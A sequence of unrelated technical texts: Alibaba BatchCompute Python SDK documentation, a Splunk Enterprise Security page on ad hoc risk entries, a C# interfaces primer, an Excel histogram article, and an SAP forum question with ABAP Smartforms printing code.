您必须替换代码中的image_idaccess_key_idaccess_key_secret等用户信息以及oss相关的路径。
1. import time
2. from batchcompute import Cient, ClientError
3. from batchcompute import CN_SHENZHEN as REGION
4. from batchcompute.resources import (
5. JobDescription, TaskDescription, DAG,
6. GroupDescription, ClusterDescription,
7. )
8. # some other codes here
9. access_key_id = ... # your access key id
10. access_key_secret = ... # your access key secret
11. image_id = ... # the id of a image created before
12. instance_type = ... # instance type
13. client = Client(REGION, access_key_id, access_key_secret)
14. try:
15. # Create cluster.
16. cluster_desc = ClusterDescription()
17. group_desc = GroupDescription()
18. group_desc.DesiredVMCount = 1
19. group_desc.InstanceType = instance_type
20. cluster_desc.add_group('group1', group_desc)
21. cluster_desc.Name = "BatchcomputeCluster"
22. cluster_desc.ImageId = image_id
23. cluster_desc.Description = "Python SDK test"
24. cluster_id = client.create_cluster(cluster_desc).Id
25. # Create job.
26. job_desc = JobDescription()
27. echo_task = TaskDescription()
28. # Create map task.
29. echo_task.Parameters.Command.CommandLine = "echo Batchcompute service"
30. echo_task.Parameters.Command.PackagePath = ""
31. echo_task.Parameters.StdoutRedirectPath = "oss://xxx/xxx/" # Better replace this path
32. echo_task.Parameters.StderrRedirectPath = "oss://xxx/xxx/" # Better replace this path
33. echo_task.InstanceCount = 3
34. echo_task.ClusterId = cluster_id
35. # Create task dag.
36. task_dag = DAG()
37. task_dag.add_task(task_name="Echo", task=echo_task)
38. # Create job description.
39. job_desc.DAG = task_dag
40. job_desc.Priority = 99 # 0-1000
41. job_desc.Name = "PythonSDKDemo"
42. job_desc.JobFailOnInstanceFail = True
43. job_id = client.create_job(job_desc).Id
44. # Wait for job finished.
45. errs = client.poll(job_id)
46. if errs: print ("Some errors occur: %s" % '\n'.join(errs))
47. # Delete cluster
48. client.delete_cluster(cluster_id)
49. except ClientError, e:
50. print (e.get_status_code(), e.get_code(), e.get_requestid(), e.get_msg())
2、 类和常量
2.1 接口类型
接口类型提供了BatchCompute服务所有API接口的Python实现以及其他一些有用的辅助接口。
序号 名称 可序列化 描述
1. Client No 与BatchCompute服务交互的客户端类型
2.2 描述类型
描述类型主要作为创建资源时的参数类型或获取资源状态信息时由服务的返回类型。
序号 名称 可序列化 描述
1. JobDescription Yes 描述用户作业的类
2. DAG Yes 描述作业任务以及任务间互相之间依赖关系的类
3. TaskDescription Yes 描述任务的类
4. Parameters Yes 描述任务运行参数的类
5. Command Yes 配置任务命令行执行环境类
6. ClusterDescription Yes 描述用户集群的类
7. GroupDescription Yes 描述用户集群实例配置的类
8. Job Yes 描述给定作业当前状态信息的类
9. Task Yes 描述给定的作业任务的当前状态信息的类
10. Instance Yes 描述给定的任务实例当前状态信息的类
11. Result Yes 描述给定的任务实例运行结果的类
12. InstanceMetrics Yes 描述给定作业或任务实例统计信息的类
13. TaskMetrics Yes 描述给定作业中任务统计信息的类
14. Cluster Yes 描述给定集群状态信息的类
15. Group Yes 描述给定集群中机器组状态信息的类
16. Metrics Yes 描述给定集群作业统计信息的类
关于可序列化
描述类型均为可序列化的类型，SDK中所有可序列化的类均从内部类型 Jsonizable 继承而来。以下是关于 Jsonizable 类型及其子类的描述；
参数说明：
Jsonizable 及其子类对象均可通过字典，Jsonizable 对象或者描述字典的JSON串初始化。注意，在初始化 Jsonizable 对象及其子类时，会丢弃字典或者JSON串中所有不合法的属性描述信息。
参数 类型 描述
properties dict, str, Jsonizable object 属性描述信息
• 通过字典初始化 Jsonizable 类:
e.g.
1. from batchcompute.resources import JobDescription
2. # A dict object.
3. properties = {
4. "Name": "PythonSDKDemo",
5. "Description": "Batchcompute"
6. }
7. jsonizable = JobDescription(properties)
8. print (jsonizable.Name)
9. print (jsonizable.Description)
• 通过JSON字符串初始化 Jsonizable
e.g.
1. from batchcompute.resources import JobDescription
2. # A string jsonized from a dict object.
3. properties = '''{
4. "Name": "PythonSDKDemo",
5. "Description": "Batchcompute"
6. }'''
7. jsonizable = JobDescription(properties)
8. print (jsonizable.Name)
9. print (jsonizable.Description)
• 通过相同类的对象初始化 Jsonizable 类。
e.g.
1. form batchcompute.resources import JobDescription
2. # A JobDescription object.
3. jsonizable1 = JobDescription()
4. jsonizable1.Name = "PythonSDKDemo"
5. jsonizable1.Description = "Batchcompute"
6. jsonizable2 = JobDescription(jsonizable1)
7. print(jsonizable2.Name)
8. print(jsonizable2.Description)
方法说明：
序号 方法名 描述
1. update 接受一个字典对象，更新类的部分属性，不合法的属性将被丢弃
2. detail 返回一个包含类属性的字典，如果属性为空将不被包含
3. load 接受一个字符串，该字符串是一个JSON化的字典，类的属性均被更新，不合法的属性会被丢弃
4. dump 返回一个字符串，内容JSON化的字典，包含所有类属性信息，如果属性为空将不被包含
5. __str__ 被print调用的内置函数，其内部调用了dump函数
关于类属性
可序列化的类型均具有各种属性。属性均可以通过其名称直接读取，例如，你可以通过如下代码获取作业的ID:另外属性名与Python规范PEP8中类的命名方式保持一致(区别于类方法的命名规则)，遵循CamelCase的拼写规则.
1. # job is a Job object.
2. job = ...
3. job_id = job.Id
4. print (job_id)
• 另外，可以通过字典取值的方式获取属性，例如：
1. # job is a Job object.
2. job = ...
3. job_id = job["Id"]
4. print (job_id)
• 对于类 JobDescription, DAG, TaskDescription, 可以通过赋值的方式更改某个属性的值,例如:
1. from batchcompute.resources import JobDescription
2. job_desc = JobDescription()
3. job_desc.Name = "PythonSDKDemo"
• 对于类 JobDescription, DAG, TaskDescription, 可以通过字典的方式对类的属性进行赋值, 例如:
1. from batchcompute.resources import JobDescription
2. job_desc = JobDescription()
3. job_desc["Id"] = "PythonSDKDemo"
2.3 响应类型
序号 名称 可序列化 描述
1. CreateResponse No 创建资源成功后， Client返回的响应类
2. GetResponse No 获取资源状态信息， Client返回的响应类
3. ActionResponse No 对资源进行各种操作时由Client返回的响应类
4. ListResponse No 列举资源时，由Client返回的响应类
关于响应类
所有的响应类型 (CreateResponse, GetResponse, ActionRespnse, ListResponse)均继承自内部类型RawResponse.以下描述适用于所有RawResponse的子类。
属性说明：
属性 类型 描述
RequestId str Client的所有请求的识别码
StatusCode int Client的所有请求的状态码
e.g.
1. ...
2. response = client.create_job(job_desc)
3. print (response.RequestId)
4. print (response.StatusCode)
2.4 异常类型
非法的参数或者非法请求时会抛出异常
序号 名称 可序列化 描述
1. ClientError No 异常类
2. FieldError No 异常类
3. ValidationError No 异常类
4. JSONError No 异常类
5. ConfigError No 异常类
2.5 常量
序号 名称 可序列化 描述
1. CN_QINGDAO No 常量，BatchCompute的青岛(华北1)endpoint
2. CN_SHENZHEN No 常量，BatchCompute的深圳(华南1)endpoint
3. CN_BEIJING No 常量，BatchCompute的北京(华北2)endpoint
4. CN_HANGZHOU No 常量，BatchCompute的杭州(华东1)endpoint
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Splunk® Enterprise Security
Use Splunk Enterprise Security
Acrobat logo Download manual as PDF
Acrobat logo Download topic as PDF
Create an ad hoc risk entry in Splunk Enterprise Security
Creating an ad-hoc risk entry allows you to make a manual, one-time adjustment to an object's risk score. You can use it to add a positive or negative number to the risk score of an object.
1. Select Security Intelligence > Risk Analysis.
2. Click Create Ad-hoc Risk Entry.
3. Complete the form.
4. Click Save.
Risk Modifiers Description
Risk Score The number added to a Risk object. Can be a positive or negative integer.
Risk object Text field. Wildcard with an asterisk (*)
Risk object type Drop-down: select to filter by.
Add a threat object to an ad hoc risk entry in Splunk Enterprise Security
You may add threat objects to an adhoc risk entry to correlate threat objects with risk events and make adjustments to the risk score.
1. Select Security Intelligence > Risk Analysis.
2. Click Create Ad-hoc Risk Entry.
3. Make adjustments to the form as required.
4. Populate the Threat Object and the Threat Object Type fields.
5. Click Save.
Threat Objects Description
Threat Object Specify a threat object that poses a threat to the environment, including a command or a script that you must run. For example: payload
Threat Object Type Type of the threat object. For example: file_hash
Use security framework annotations in an ad-hoc risk entry
Use annotations to add context from industry-standard mappings to your ad-hoc risk entry results. Only MITRE ATT&CK definitions are pre-populated for enrichment.
Annotations
Annotations are enriched with industry-standard context.
1. Scroll to Annotations.
2. Add annotations for the common framework names listed. These fields are for use with industry-standard mappings, but also allow custom values. Industry-standard mappings include values such as the following:
Security FrameworkFive Random Mapping Examples
CIS 20CIS 3, CIS 9, CIS 11, CIS 7, CIS 12
Kill Chain Reconnaissance, Actions on Objectives, Exploitation, Delivery, Lateral Movement
MITRE ATT&CKT1015, T1138, T1084, T1068, T1085
This field also contains mitre technique names for you to select because they are pre-populated for enrichment.
NISTPR.IP, PR.PT, PR.AC, PR.DS, DE.AE
3. Click Save.
Dashboard example
Consider MITRE ATT&CK annotations as an example. You see them in dashboards by ID, such as T1015, rather than by the technique name.
Unmanaged Annotations
Unmanaged annotations are not enriched with any industry-standard context.
1. Scroll to Unmanaged Annotations.
2. Click + Framework to add your own framework names and their mapping categories. These are free-form fields.
3. Click Save.
Search example
Consider unmanaged annotations as an example. If you search the risk index directly, you see your unmanaged annotations.
index=risk
Search results
Unmanaged annotations display results as annotations._all with your <unmanaged_attribute_value>, and annotations._frameworks with your <unmanaged_framework_value>.
i Time Event
> 7/22/20
5:34:09.000 PM
1595453646, search_name="AdHoc Risk Score", annotations="{\"example_attack\":[],\"example-net\":[\"nim\",\"butler\",\"koko\"]}", annotations._all="butler", annotations._all="nim", annotations._all="koko", annotations._frameworks="example-net", annotations.example-net="nim", annotations.example-net="butler", annotations.example-net="koko", creator="admin", description="test", info_max_time="+Infinity", info_min_time="0.000", risk_object="testuser", risk_object_type="user", risk_score="10.0"
Last modified on 07 October, 2022
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This documentation applies to the following versions of Splunk® Enterprise Security: 7.0.1, 7.0.2, 7.1.0, 7.1.1, 7.1.2, 7.2.0, 7.3.0, 7.3.1
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Back
Close
C# Refresh
Nonsultant
24.6K views
Interfaces
To some extend interfaces reminds a lot of an abstract class. But there is some big differences.
1. An interface can't contain any logic (not quite true as C# 8.0 introduces default implementations)
2. A class can implement several interfaces, but only on inherit one class
3. An interface says nothing about the internal state of a class
Advantage of interface:
• It is used to achieve loose coupling.
• It is used to achieve total abstraction.
• To achieve component-based programming
• Interfaces intertroduces a plug-and-play like architecture into applications.
An interfaces should be seen as a contract which define the public properties, methods, and events, which the class or struct must implement.
An object never can be an instance of an interface, but an object can be an instance of a class implementing one or more interfaces.
Naming
Interfaces is more or less the only type in Microsoft C# naming convension where prefixes is used in the naming.
So when naming an interface should the name be prefixed with an I. Eg. an interface for a mammal would would be named IMammal.
Interface example
In this example does the interface IMammal tell us that all mammals have two properties: number of legs and the specie of the mammal, and that the mammal have the behavior of making a sound.
The example is quite simplified, but a key difference between a dog and a human (in this example) is the ability to make complex sounds (speak), so the implementation of human and dog differs a bit, but they still implement to the same contract (interface). This contract is used by the DisplayMammal method to display the information on the mammal.
Question to think about: What could we do if the mammal does not have any legs? Like a whale
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Histogram Chart Examples In Excel 365
Thursday, December 14th 2023. | Chart Templates
Creating Histogram from Data set Using Data Analysis ToolPack MS Excel
Creating Histogram from Data set Using Data Analysis ToolPack MS Excel from www.youtube.com
Excel 365 is a powerful tool that offers a wide range of features and functionalities to help you analyze and present data effectively. One of the most popular chart types in Excel is the histogram chart. A histogram is a graphical representation of the distribution of data, showing the frequency of occurrence of different values within a dataset. In this article, we will explore some examples of histogram charts in Excel 365 and discuss how you can create them.
Example 1: Sales Distribution
Let’s say you have a dataset containing the sales data of different products over a period of time. You want to visualize the distribution of sales values to identify the most common sales range. To create a histogram chart, you need to select the data and go to the “Insert” tab in the Excel ribbon. Click on the “Histogram” button in the “Charts” group and choose the desired histogram type. Excel will automatically generate the histogram chart based on your data.
Example 2: Test Scores
Suppose you are a teacher and you want to analyze the test scores of your students. You have a dataset that includes the scores of all the students in a particular subject. By creating a histogram chart, you can easily visualize the distribution of test scores and identify the range in which the majority of students fall. This can help you understand the performance of your students and make informed decisions regarding your teaching strategies.
Example 3: Customer Age Distribution
If you are a marketer or a business owner, you may want to analyze the age distribution of your customers. By creating a histogram chart in Excel 365, you can easily determine the age ranges that are most prevalent among your customer base. This information can be valuable for targeting your marketing campaigns and tailoring your products or services to specific age groups.
Example 4: Website Traffic
For website owners or digital marketers, it is essential to track and analyze website traffic. By creating a histogram chart in Excel 365, you can visualize the distribution of website traffic over a specific period. This can help you identify peak traffic hours or days, understand user behavior, and optimize your website accordingly to improve user experience.
Example 5: Employee Salaries
If you are a business owner or a manager, you may want to analyze the salary distribution of your employees. By creating a histogram chart in Excel 365, you can easily identify the salary ranges that are most common among your employees. This information can be useful for making decisions related to employee compensation, budgeting, and resource allocation.
Frequently Asked Questions (FAQ)
Q: How do I create a histogram chart in Excel 365?
A: To create a histogram chart in Excel 365, you need to select the data you want to analyze and go to the “Insert” tab in the Excel ribbon. Click on the “Histogram” button in the “Charts” group and choose the desired histogram type. Excel will automatically generate the histogram chart based on your data.
Q: Can I customize the appearance of a histogram chart in Excel 365?
A: Yes, you can customize the appearance of a histogram chart in Excel 365. You can change the chart type, modify the axis labels, add titles and legends, and apply different chart styles and colors to make your chart visually appealing and easy to interpret.
Q: Can I update a histogram chart in Excel 365 if my data changes?
A: Yes, you can easily update a histogram chart in Excel 365 if your data changes. Simply select the chart, go to the “Design” tab in the Excel ribbon, and click on the “Refresh Data” button in the “Data” group. Excel will automatically update the chart based on the new data.
Q: Can I export a histogram chart in Excel 365 to other file formats?
A: Yes, you can export a histogram chart in Excel 365 to other file formats such as PDF or image files. Simply select the chart, go to the “File” tab in the Excel ribbon, click on “Save As,” and choose the desired file format. Excel will save the chart as a separate file that you can use or share as needed.
Q: Can I create multiple histogram charts in Excel 365 on the same worksheet?
A: Yes, you can create multiple histogram charts in Excel 365 on the same worksheet. Simply select the data for each chart and follow the same steps to create individual histogram charts. You can arrange the charts side by side or in any desired layout to compare and analyze the data effectively.
Tags:
Excel 365, histogram chart, data analysis, data visualization, Excel tips, Excel tutorial, Excel charts, histogram examples, histogram types, histogram customization, data distribution, data frequency, Excel FAQ
tags: , ,
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Smartforms :Multiple forms 2 be printed in single print prog,PDF too
Hello Smartforms Gurus
I need to print 4 forms (Export Invoice, packing List, Enclosure to Packing list, Case marking) within a single print prog .
User will execute this prog and it should print all the 4 forms and then by clicking on a button(Archive) there
it should download a single pdf file containing all 4 forms .
At present my following program directly download this form(only Export Invoice) to a pdf file but doesnt leave options to go to Print or Print Preview .
Plz look into my code , and suggest.
Thnx
Moni
*Printing of Export Invoice, Packing List,Enclosure to Packing List & *
*Case Marking in one SMART FORMS Layout *
REPORT ZSD_REP_MULTI_PRINT.
TABLES :
vbak,
vbap,
vbpa,
vbfa,
VBRK,
VBRP,
LIKP,
LIPS,
KONV,
objk,
tvko,
ser01,
sadr,
equi,
makt,
mast,
t005t,
kna1,
t001w,
T001,
ADRC,
sscrfields,
zpp_plcmi, "Packing list history For Conf: Item data
zplh, "PACKING LIST HISTORY : HEADER DATA
zpli. "PACKING LIST HISTORY : ITEM DATA
DATA: FM_NAME TYPE RS38L_FNAM,
P_E_DEVTYPE TYPE RSPOPTYPE,
P_JOB_OUTPUT_INFO TYPE SSFCRESCL OCCURS 2000 WITH HEADER LINE,
P_OUTPUT_OPTIONS TYPE SSFCOMPOP OCCURS 0 WITH HEADER LINE,
P_CONTROL_PARAMETERS TYPE SSFCTRLOP OCCURS 0 WITH HEADER LINE ,
P_DOC LIKE DOCS OCCURS 2000 WITH HEADER LINE,
P_LINES LIKE TLINE OCCURS 200,
P_BIN_FILESIZE TYPE I,
P_LANGUAGE TYPE SFLANGU,
P_BIN_FILE TYPE XSTRING,
<i>OK_CODE LIKE SY-UCOMM.</i>
DATA: T_ITEM TYPE ZSD_TABL_LITEM,
WA_ITEM TYPE ZSD_STRUCT_LITEM,
T_ADRS LIKE ZSD_STRUCT_ADRS OCCURS 0 WITH HEADER LINE,
MSLINES LIKE TLINE OCCURS 1 WITH HEADER LINE,
TIDNO LIKE STXL-TDID,
TNAME LIKE STXL-TDNAME,
TOBJT LIKE STXL-TDOBJECT,
SSORD LIKE VBAK-VBELN,
TOT LIKE VBAK-NETWR,
WORD LIKE SPELL.
SELECTION-SCREEN BEGIN OF BLOCK blk1 WITH FRAME TITLE text-001.
PARAMETERS: P_DELNO LIKE LIKP-VBELN OBLIGATORY,
P_INVNO LIKE VBRK-VBELN OBLIGATORY,
P_DATE LIKE SY-DATUM.
SELECTION-SCREEN END OF BLOCK blk1.
AT SELECTION-SCREEN.
CLEAR T_ADRS.
REFRESH T_ITEM.
T_ADRS-INVNO = P_INVNO.
T_ADRS-INVDAT = P_DATE.
SELECT SINGLE VBELV INTO VBFA-VBELV
FROM VBFA
WHERE VBELN = P_DELNO
AND VBTYP_N = 'J' .
SSORD = VBFA-VBELV.
*Exporter's Address
SELECT SINGLE BUKRS_VF INTO VBAK-BUKRS_VF
FROM VBAK
WHERE VBELN = VBFA-VBELV.
SELECT SINGLE ADRNR
INTO T001-ADRNR
FROM T001
WHERE BUKRS = VBAK-BUKRS_VF.
SELECT SINGLE NAME1 STREET CITY1 POST_CODE1 COUNTRY
INTO (T_ADRS-NAME1,T_ADRS-STREET,T_ADRS-CITY1,
T_ADRS-POST_CODE1, ADRC-COUNTRY)
FROM ADRC
WHERE ADDRNUMBER EQ T001-ADRNR.
SELECT SINGLE LANDX
INTO T_ADRS-COUNTRY
FROM T005T
WHERE SPRAS = 'EN'
AND LAND1 = ADRC-COUNTRY.
**BUYERS NO & DATE
SELECT SINGLE BSTNK BSTDK INTO (T_ADRS-BSTNK,T_ADRS-BSTDK)
FROM VBAK
WHERE VBELN = VBFA-VBELV.
*Consignee Address & Buyer Other Than Consignee
SELECT SINGLE KUNNR KUNAG INTO (LIKP-KUNNR, LIKP-KUNAG)
FROM LIKP WHERE VBELN = P_DELNO.
IF LIKP-KUNNR = LIKP-KUNAG.
SELECT SINGLE NAME1 NAME2 STRAS ORT01 PSTLZ REGIO TELF1 ADRNR
INTO (T_ADRS-CNAME1, T_ADRS-CNAME2, T_ADRS-CSTREET,
T_ADRS-CCITY, T_ADRS-CPCODE, T_ADRS-CREGIO,
T_ADRS-CTELF1, KNA1-ADRNR)
FROM KNA1
WHERE KUNNR = LIKP-KUNNR.
SELECT SINGLE COUNTRY INTO ADRC-COUNTRY
FROM ADRC
WHERE ADDRNUMBER EQ KNA1-ADRNR.
SELECT SINGLE LANDX
INTO T_ADRS-CCOUNTRY
FROM T005T
WHERE SPRAS = 'EN'
AND LAND1 = ADRC-COUNTRY.
T_ADRS-ONAME1 = T_ADRS-CNAME1 .
T_ADRS-ONAME2 = T_ADRS-CNAME2 .
T_ADRS-OSTREET = T_ADRS-CSTREET .
T_ADRS-OCITY = T_ADRS-CCITY.
T_ADRS-OPCODE = T_ADRS-CPCODE .
T_ADRS-OREGIO = T_ADRS-CREGIO.
T_ADRS-OTELF1 = T_ADRS-CTELF1 .
T_ADRS-OCOUNTRY = T_ADRS-CCOUNTRY.
ELSE.
SELECT SINGLE NAME1 NAME2 STRAS ORT01 PSTLZ REGIO TELF1 ADRNR
INTO (T_ADRS-CNAME1, T_ADRS-CNAME2, T_ADRS-CSTREET,
T_ADRS-CCITY, T_ADRS-CPCODE, T_ADRS-CREGIO,
T_ADRS-CTELF1, KNA1-ADRNR)
FROM KNA1
WHERE KUNNR = LIKP-KUNNR.
SELECT SINGLE COUNTRY INTO ADRC-COUNTRY
FROM ADRC
WHERE ADDRNUMBER EQ KNA1-ADRNR.
SELECT SINGLE LANDX
INTO T_ADRS-CCOUNTRY
FROM T005T
WHERE SPRAS = 'EN'
AND LAND1 = ADRC-COUNTRY.
*Buyer Other than Consignee
SELECT SINGLE NAME1 NAME2 STRAS ORT01 PSTLZ REGIO TELF1 ADRNR
INTO (T_ADRS-ONAME1, T_ADRS-ONAME2, T_ADRS-OSTREET,
T_ADRS-OCITY, T_ADRS-OPCODE, T_ADRS-OREGIO,
T_ADRS-OTELF1, KNA1-ADRNR)
FROM KNA1
WHERE KUNNR = LIKP-KUNAG.
SELECT SINGLE COUNTRY INTO ADRC-COUNTRY
FROM ADRC
WHERE ADDRNUMBER EQ KNA1-ADRNR.
SELECT SINGLE LANDX
INTO T_ADRS-OCOUNTRY
FROM T005T
WHERE SPRAS = 'EN'
AND LAND1 = ADRC-COUNTRY.
ENDIF.
*Other's Ref
TIDNO = 'Z071'.
TNAME = SSORD.
TOBJT = 'VBBK'.
PERFORM FINDTEXT.
LOOP AT MSLINES.
T_ADRS-OREF = mslines-tdline(25).
EXIT.
ENDLOOP.
*Buyer's Order No Ref
TIDNO = 'Z023'.
TNAME = SSORD.
TOBJT = 'VBBK'.
PERFORM FINDTEXT.
LOOP AT MSLINES.
T_ADRS-BUYER = mslines-tdline(25).
EXIT.
ENDLOOP.
*Exporter Ref
TIDNO = 'Z072'.
TNAME = SSORD.
TOBJT = 'VBBK'.
PERFORM FINDTEXT.
LOOP AT MSLINES.
T_ADRS-XPREF = mslines-tdline(25).
EXIT.
ENDLOOP.
*Pre-Carraige By
TIDNO = 'Z074'.
TNAME = SSORD.
TOBJT = 'VBBK'.
PERFORM FINDTEXT.
LOOP AT MSLINES.
T_ADRS-PCRG = mslines-tdline(25).
EXIT.
ENDLOOP.
*Place Of reciept by Pre-Carraige
TIDNO = 'Z073'.
TNAME = SSORD.
TOBJT = 'VBBK'.
PERFORM FINDTEXT.
LOOP AT MSLINES.
T_ADRS-PLPCRG = mslines-tdline(25).
EXIT.
ENDLOOP.
*Vessel/Flight No
TIDNO = 'Z075'.
TNAME = SSORD.
TOBJT = 'VBBK'.
PERFORM FINDTEXT.
LOOP AT MSLINES.
T_ADRS-VFNO = mslines-tdline(25).
EXIT.
ENDLOOP.
*Port Of Loading
TIDNO = 'Z077'.
TNAME = SSORD.
TOBJT = 'VBBK'.
PERFORM FINDTEXT.
LOOP AT MSLINES.
T_ADRS-PLOAD = mslines-tdline(25).
EXIT.
ENDLOOP.
*Port Of Discharge
TIDNO = 'Z076'.
TNAME = SSORD.
TOBJT = 'VBBK'.
PERFORM FINDTEXT.
LOOP AT MSLINES.
T_ADRS-PDISG = mslines-tdline(25).
EXIT.
ENDLOOP.
*Final Destination
TIDNO = 'Z070'.
TNAME = SSORD.
TOBJT = 'VBBK'.
PERFORM FINDTEXT.
LOOP AT MSLINES.
T_ADRS-FDEST = mslines-tdline(25).
EXIT.
ENDLOOP.
*Terms Of Delivery & Payment
TIDNO = 'Z080'.
TNAME = SSORD.
TOBJT = 'VBBK'.
PERFORM FINDTEXT.
LOOP AT MSLINES.
T_ADRS-TERMS = mslines-tdline(50).
EXIT.
ENDLOOP.
APPEND T_ADRS.
*BODY SECTION FOR LINE ITEMS
SELECT POSNR KWMENG VRKME WAERK
INTO (VBAP-POSNR, VBAP-KWMENG, VBAP-VRKME, VBAP-WAERK)
FROM VBAP
WHERE VBELN = SSORD.
*Mark/Case No
TIDNO = '0002'.
CONCATENATE SSORD
VBAP-POSNR
INTO TNAME.
TOBJT = 'VBBP'.
PERFORM FINDTEXT.
LOOP AT MSLINES.
WA_ITEM-MARKNO = mslines-tdline(40).
EXIT.
ENDLOOP.
*Packing Type
TIDNO = '0003'.
CONCATENATE SSORD
VBAP-POSNR
INTO TNAME.
TOBJT = 'VBBP'.
PERFORM FINDTEXT.
LOOP AT MSLINES.
WA_ITEM-PACKTYP = mslines-tdline(40).
EXIT.
ENDLOOP.
*Goods Description
TIDNO = '0001'.
CONCATENATE SSORD
VBAP-POSNR
INTO TNAME.
TOBJT = 'VBBP'.
PERFORM FINDTEXT.
LOOP AT MSLINES.
WA_ITEM-PACKTYP = mslines-tdline(40).
EXIT.
ENDLOOP.
*Goods Quantity
WA_ITEM-QTY = VBAP-KWMENG.
WA_ITEM-VRKME = VBAP-VRKME.
*Goods Rate
SELECT SINGLE KNUMV INTO VBAK-KNUMV FROM VBAK WHERE VBELN = SSORD.
SELECT SINGLE KBETR WAERS
INTO (WA_ITEM-RATE, WA_ITEM-WAERS)
FROM KONV
WHERE KNUMV = VBAK-KNUMV
AND KPOSN = VBAP-POSNR
AND KSCHL = 'PR00'.
*Goods Amount
WA_ITEM-AMOUNT = WA_ITEM-QTY * WA_ITEM-RATE.
WA_ITEM-WAERK = VBAP-WAERK.
TOT = TOT + WA_ITEM-AMOUNT.
APPEND WA_ITEM TO T_ITEM.
ENDSELECT.
T_ADRS-TOT = TOT.
CALL FUNCTION 'SPELL_AMOUNT'
EXPORTING
AMOUNT = TOT
CURRENCY = VBAP-WAERK
FILLER = ' '
LANGUAGE = SY-LANGU
IMPORTING
IN_WORDS = WORD
EXCEPTIONS
NOT_FOUND = 1
TOO_LARGE = 2
OTHERS = 3
IF SY-SUBRC <> 0.
MESSAGE ID SY-MSGID TYPE SY-MSGTY NUMBER SY-MSGNO
WITH SY-MSGV1 SY-MSGV2 SY-MSGV3 SY-MSGV4.
ENDIF.
T_ADRS-TOT_WORDS = WORD-WORD.
APPEND T_ADRS.
START-OF-SELECTION.
<b> SET PF-STATUS '1000'.</b>
CALL FUNCTION 'SSF_FUNCTION_MODULE_NAME'
EXPORTING
FORMNAME = 'Z_SD_REP_MULTI_PRINT'
VARIANT = ' '
DIRECT_CALL = ' '
IMPORTING
FM_NAME = FM_NAME
EXCEPTIONS
NO_FORM = 1
NO_FUNCTION_MODULE = 2
OTHERS = 3
IF SY-SUBRC <> 0.
MESSAGE ID SY-MSGID TYPE SY-MSGTY NUMBER SY-MSGNO
WITH SY-MSGV1 SY-MSGV2 SY-MSGV3 SY-MSGV4.
ENDIF.
P_LANGUAGE = 'EN'.
CALL FUNCTION 'SSF_GET_DEVICE_TYPE'
EXPORTING
I_LANGUAGE = P_LANGUAGE
I_APPLICATION = 'SAPDEFAULT'
IMPORTING
E_DEVTYPE = P_E_DEVTYPE.
P_OUTPUT_OPTIONS-XSFCMODE = 'X'.
P_OUTPUT_OPTIONS-XSF = SPACE.
P_OUTPUT_OPTIONS-XDFCMODE = 'X'.
P_OUTPUT_OPTIONS-XDF = SPACE.
P_OUTPUT_OPTIONS-TDPRINTER = P_E_DEVTYPE.
P_OUTPUT_OPTIONS-TDDEST = 'LOCL'.
APPEND P_OUTPUT_OPTIONS.
P_CONTROL_PARAMETERS-NO_DIALOG = 'X'.
P_CONTROL_PARAMETERS-GETOTF = 'X'.
P_CONTROL_PARAMETERS-NO_CLOSE = SPACE.
APPEND P_CONTROL_PARAMETERS.
CALL FUNCTION FM_NAME
EXPORTING
ARCHIVE_INDEX =
ARCHIVE_INDEX_TAB =
ARCHIVE_PARAMETERS =
CONTROL_PARAMETERS = P_CONTROL_PARAMETERS
MAIL_APPL_OBJ =
MAIL_RECIPIENT =
MAIL_SENDER =
OUTPUT_OPTIONS = P_OUTPUT_OPTIONS
USER_SETTINGS = 'X'
IMPORTING
DOCUMENT_OUTPUT_INFO =
JOB_OUTPUT_INFO = P_JOB_OUTPUT_INFO
JOB_OUTPUT_OPTIONS =
TABLES
T_ADRS = T_ADRS
T_ITEM = T_ITEM
EXCEPTIONS
FORMATTING_ERROR = 1
INTERNAL_ERROR = 2
SEND_ERROR = 3
USER_CANCELED = 4
OTHERS = 5
IF SY-SUBRC <> 0.
MESSAGE ID SY-MSGID TYPE SY-MSGTY NUMBER SY-MSGNO
WITH SY-MSGV1 SY-MSGV2 SY-MSGV3 SY-MSGV4.
ENDIF.
<b>AT USER-COMMAND.
OK_CODE = SY-UCOMM.
CASE OK_CODE.
WHEN 'ARCHIVE'.</b>
CALL FUNCTION 'CONVERT_OTF_2_PDF'
EXPORTING
USE_OTF_MC_CMD = 'X'
ARCHIVE_INDEX =
IMPORTING
BIN_FILESIZE = P_BIN_FILESIZE
TABLES
OTF = P_JOB_OUTPUT_INFO-OTFDATA
DOCTAB_ARCHIVE = P_DOC
LINES = P_LINES
EXCEPTIONS
ERR_CONV_NOT_POSSIBLE = 1
ERR_OTF_MC_NOENDMARKER = 2
OTHERS = 3.
IF SY-SUBRC <> 0.
MESSAGE ID SY-MSGID TYPE SY-MSGTY NUMBER SY-MSGNO
WITH SY-MSGV1 SY-MSGV2 SY-MSGV3 SY-MSGV4.
ENDIF.
CALL FUNCTION 'WS_DOWNLOAD'
EXPORTING
BIN_FILESIZE = P_BIN_FILESIZE
CODEPAGE = ' '
FILENAME = 'C:\sd.pdf'
FILETYPE = 'BIN'
MODE = ''
WK1_N_FORMAT = ' '
WK1_N_SIZE = ' '
WK1_T_FORMAT = ' '
WK1_T_SIZE = ' '
COL_SELECT = ' '
COL_SELECTMASK = ' '
NO_AUTH_CHECK = ' '
IMPORTING
FILELENGTH = P_BIN_FILESIZE
TABLES
DATA_TAB = P_LINES
FIELDNAMES =
EXCEPTIONS
FILE_OPEN_ERROR = 1
FILE_WRITE_ERROR = 2
INVALID_FILESIZE = 3
INVALID_TYPE = 4
NO_BATCH = 5
UNKNOWN_ERROR = 6
INVALID_TABLE_WIDTH = 7
GUI_REFUSE_FILETRANSFER = 8
CUSTOMER_ERROR = 9
NO_AUTHORITY = 10
OTHERS = 11
IF SY-SUBRC <> 0.
MESSAGE ID SY-MSGID TYPE SY-MSGTY NUMBER SY-MSGNO
WITH SY-MSGV1 SY-MSGV2 SY-MSGV3 SY-MSGV4.
ENDIF.
<b>ENDCASE.</b>
*& Form FINDTEXT
text
FORM FINDTEXT.
REFRESH mslines.
CALL FUNCTION 'READ_TEXT'
EXPORTING
client = sy-mandt
id = tidno
language = sy-langu
name = tname
object = tobjt
TABLES
lines = mslines
EXCEPTIONS
id = 1
language = 2
name = 3
not_found = 4
object = 5
reference_check = 6
wrong_access_to_archive = 7
OTHERS = 8.
DELETE mslines WHERE tdline IS INITIAL.
ENDFORM. "FINDTEXT
Message was edited by: md monirujjaman
Message was edited by: md monirujjaman
Message was edited by: md monirujjaman
Hello,
You cannot get continuous page numbers, But you will be able to merge all the 4 form outputs into one PDF file.
